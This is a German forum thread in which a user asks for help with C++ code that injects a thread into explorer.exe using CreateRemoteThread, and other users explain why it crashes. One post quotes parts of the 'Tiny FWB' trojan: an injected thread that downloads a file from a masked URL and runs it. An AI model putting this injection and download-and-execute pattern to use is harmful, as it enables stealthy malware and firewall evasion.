Hilfe bei CreateRemoteThread

[yogle]

Hallo,

ja ich hab schon in die FAQ und sonst noch an zehntausend anderen Stellen, aber ich kriegs nich auf die Reihe!

Ich hab versucht über den Befehl CreateRemoteThread über die explorer.exe eine MessageBox anzeigen zu lassen.
Compilieren lässt sich der Source Code mit meinem Dev-C++ Compiler,
wenn ich die .exe starte stürzt explorer.exe leider ab und bringt die Fehlermeldung:

"Die Anweisung in 0x004012d0 verweist auf Speicher in 0x004012d0. Der Vorgang read konnte nicht durchgeführt werden."

Hier mein Code:

#include <windows.h>

static DWORD WINAPI inject (PBYTE module) 
{
    MessageBox (NULL, "Diese Message wurde vom Explorer gestartet!", "Info", MB_ICONINFORMATION + MB_OK);
    ExitThread(0);
	return 0;
}

int main()
{
	DWORD size;  
	PBYTE module;

	//Pfad zu meiner .exe
	module = (PBYTE)GetModuleHandle(0);

	size = ((PIMAGE_NT_HEADERS)(module+((PIMAGE_DOS_HEADER)module)->e_lfanew))->OptionalHeader.SizeOfImage;

	HWND window;
	HANDLE process;
	DWORD pid;
	LPVOID m2;

	//handle vom explorer.exe finden
	window = FindWindow("shell_traywnd", NULL); 

	//process ID von window finden 
	GetWindowThreadProcessId(window, &pid);

	process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

	::VirtualFreeEx(process, module, 0, MEM_RELEASE);

	m2 = VirtualAllocEx(process, module, size, MEM_COMMIT | MEM_RESERVE,  PAGE_EXECUTE_READWRITE);
	//in speicher schreiben
	WriteProcessMemory(process, m2, module, size, NULL);
	//den Thread starten
	CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE) inject, &module, 0, NULL);

}

Irgendwo muss noch ein Fehler drin sein!
Ich hoffe ihr könnt mir helfen.

Gruß
yogle

[flenders]

Habe das noch nie gemacht, aber afaik muss sich der Code, den du injekten willst in einer DLL befinden.

[yogle]

Hallo,

ich glaub nicht, dass der Code unbedingt in einer Dll stehen muss. Es gibt einige Beispiele,
in denen dann der remote Thread eine Dll lädt, aber z.B. im Source Code des Trojaners Tiny FWB (nur benutzt um zu verstehen,
ist wirklich einfach geschrieben), funktioniert das ganze auch ohne Dll.

Hier zum vergleichen Teile des Source Code von Tiny.
Auf keinen Fall zum Verwenden des Trojaners gedacht!

//Dies ist dann die Funktion, die explorer.exe ausführt

unsigned long inject (void *)
{

	URLDownloadToFile(0, "**************************************************", "&&&&&&&&&&&&&&&&&&&&", 0, 0);

	WinExec("&&&&&&&&&&&&&&&&&&&&", SW_SHOW);

	ExitThread(0);
	return 0;
}

// Bis hier

// Und das hier dann zum laden

void Entrypoint()
{

	... WriteProcessMemory(process, m2, module, Size, NULL);

	xCreateRemoteThread(process, 0, 0, inject, module, 0, NULL); ...

}

Irgendwie so muss es gehen.

Gruß
yogle

[Virenschreiber]

Hab's mir nicht genau angeschaut, aber die Strings "Diese Message wurde vom Explorer gestartet!", "Info" könnten das Problem sein. Die solltest du auch noch in den Adressraum des Explorers kopieren

[CDW]

warum die DLLs so gerne verwendet werde: weil diese in den Speicher der Applikation geladen werden, so kann der code da "einfach" ausgeführt werden ohne großartig es ändern zu müssen.

Denn: wenn man seinen Code "einfach so" da rein schreibt wird dieser zwar ausgeführt, da aber der Compiler den Variablen "fixe" Adressen zuweist (ich denke hier z.B auch an die Strings, ich bezweifele nämlich dass der Comiler/Linker diese in der Codesektion lässt... dafür gibts normalerweise die datasektion) geht natürlich einiges schief. Genauso ist es mit anderen funktionen - die "reinkopierte" Funktion verscuht diese(anderen Funktionen) unter der gleichen Adresse zu erreichen wie als ob sie noch in der original Applikation liefe. Ok, ich weiß jetzt nicht wirklich wie dein C++ Compiler das löst (gibts imho mehere Wege), jedoch kann ich mit sicherheit sagen dass das nur mit den lokalen Variablen klappt, da sie über EBP+X im Stack angesprochen werden.
Was ich noch mit sicherheit sagen kann: die IMPORT/EXPORT Einträge der "Ziel" Appikation stehen auf jeden fall nicht da wo sie in der "Ursprungs" App stehen. Diese werden so weit ich noch weiß vom PE-loader "eingefügt". Ein weg wäre hier direkt die Adresse der API aufzurufen, diese unterscheiden sich jedoch von Winversion zu Winversion. Oder eben nachzuschauen wo diese bei Explorer.exe liegen und dahin zu springen. Aber auch hier unterscheidet sich das von Explorerversion zu Exversion. Jedenfalls kann man dadurch keine WinAPI direkt aufrufen =>Erkenntniss Nr 1. Erkenntnis Nr 2 wäre auch dass man keine "Stdfunktionen" von C++ aufrufen kann, da diese auch irgendwann WinAPI benutzen ;). Außerdem müsste man dann diese mit in den Speicher mappen.
Und wie es für mein C++ungeübtes Auge ausschaut kopierst Du außerdem deine komplette Apllikation da rein und nicht etwa nur die eine Funktion (nicht dass es klappen würde, da du ja immer noch versuchst direkt eine WINAPI aufzurufen und das klappt eben nicht). Also musst Du noch einiges zum PE-Format lernen. IMHO lässt es sich viel einfach in Assembly realisieren.

ich glaub nicht, dass der Code unbedingt in einer Dll stehen muss

naja, dadurch wird es aber einfacher... ich würde Dir empfehlen lieber was sinnvolles zu lernen, denn einfach so, von heute auf morgen kann man das nicht (ja, man kann CopyPaste betreiben, wie die meisten der "Viren-Progger" aber das bringts auch nicht wirklich). Lohnt sich also nicht unbediengt seine Zeit zu verschwenden nur um dann damit angeben zu können dass man einen Trojaner o.ä "programmiert" hat

[yogle]

Hallo,

das mit dem hineinkopieren der gewünschten Funktion ist denke ich noch das Problem. Ich lad wie CDW schon
gesagt hat die komplette EXE in den Speicher und das scheint nich so gut zu sein.

Ich weiß aber nicht wie ich nur den "inject" Part in der geschweiften
Klammer in den Speicher laden soll. Explorer.exe soll ja eigentlich nur
den ausführen.

@ CDW
Es geht mir bestimt nich darum einen Trojaner zu programmieren der eine Firewall verarscht, sondern darum die Funktion zu verstehen.

Gruß
yogle

[CDW]

Ich weiß aber nicht wie ich nur den "inject" Part in der geschweiften
Klammer in den Speicher laden soll. Explorer.exe soll ja eigentlich nur
den ausführen.

also die Anfangsadresse des "inject" Parts sollte über den Pointer auf die Funktion zu "ermitteln" sein (in C macht man ein & vor den Funktionsnamen).
wie man die Größe der Funktion ermittelt wird etwas kniffelig weil diese ja erst nach der compilierung bekannt ist. Vielleicht weiß einer der C++ Gurus es. Ich denke jedenfalls nicht dass sizeof hier den richtigen wert liefern würde.
Ich würde es mit Labels wie in ASM veruschen:
ANFANG:
code
ENDE:
size=ENDE-ANFANG
allerdings ist das so in c++ nicht nutzbar. Eine Alternative wäre hier jeweils am Anfang und am Ende eine Dummyfunktion einzubauen dessen Adressen man dann verrechnen kann.
Dann noch zu der Meldeung: wie gesagt, es hängt jetzt vom Compiler ab ob er die Strings jetzt an "Ort und Stelle" lässt bzw. in der Codesection direkt "neben" dem Aufruf oder eben irgendwo anders hin bewegt. Wo anders würde bedeuten dass diese für die Funktion im "fremden" Adressraum nicht mehr sichtbar wären. Außerdem stimmen die Adressen dann sowieso nicht mehr, so dass man diese lieber relativ angeben sollte. Die Sache mit der WinAPI wird sich auch nocht zeigen

IMHO kann man hier ohne genaue Compilerkenntnisse nicht viel machen, da der fertige Code sich vom Compiler zur Compiler unterscheidet. C wäre hier vielleicht angenehmer, aber die richige Kontrolle über den (erzeugten) Code gibts nur mit asm.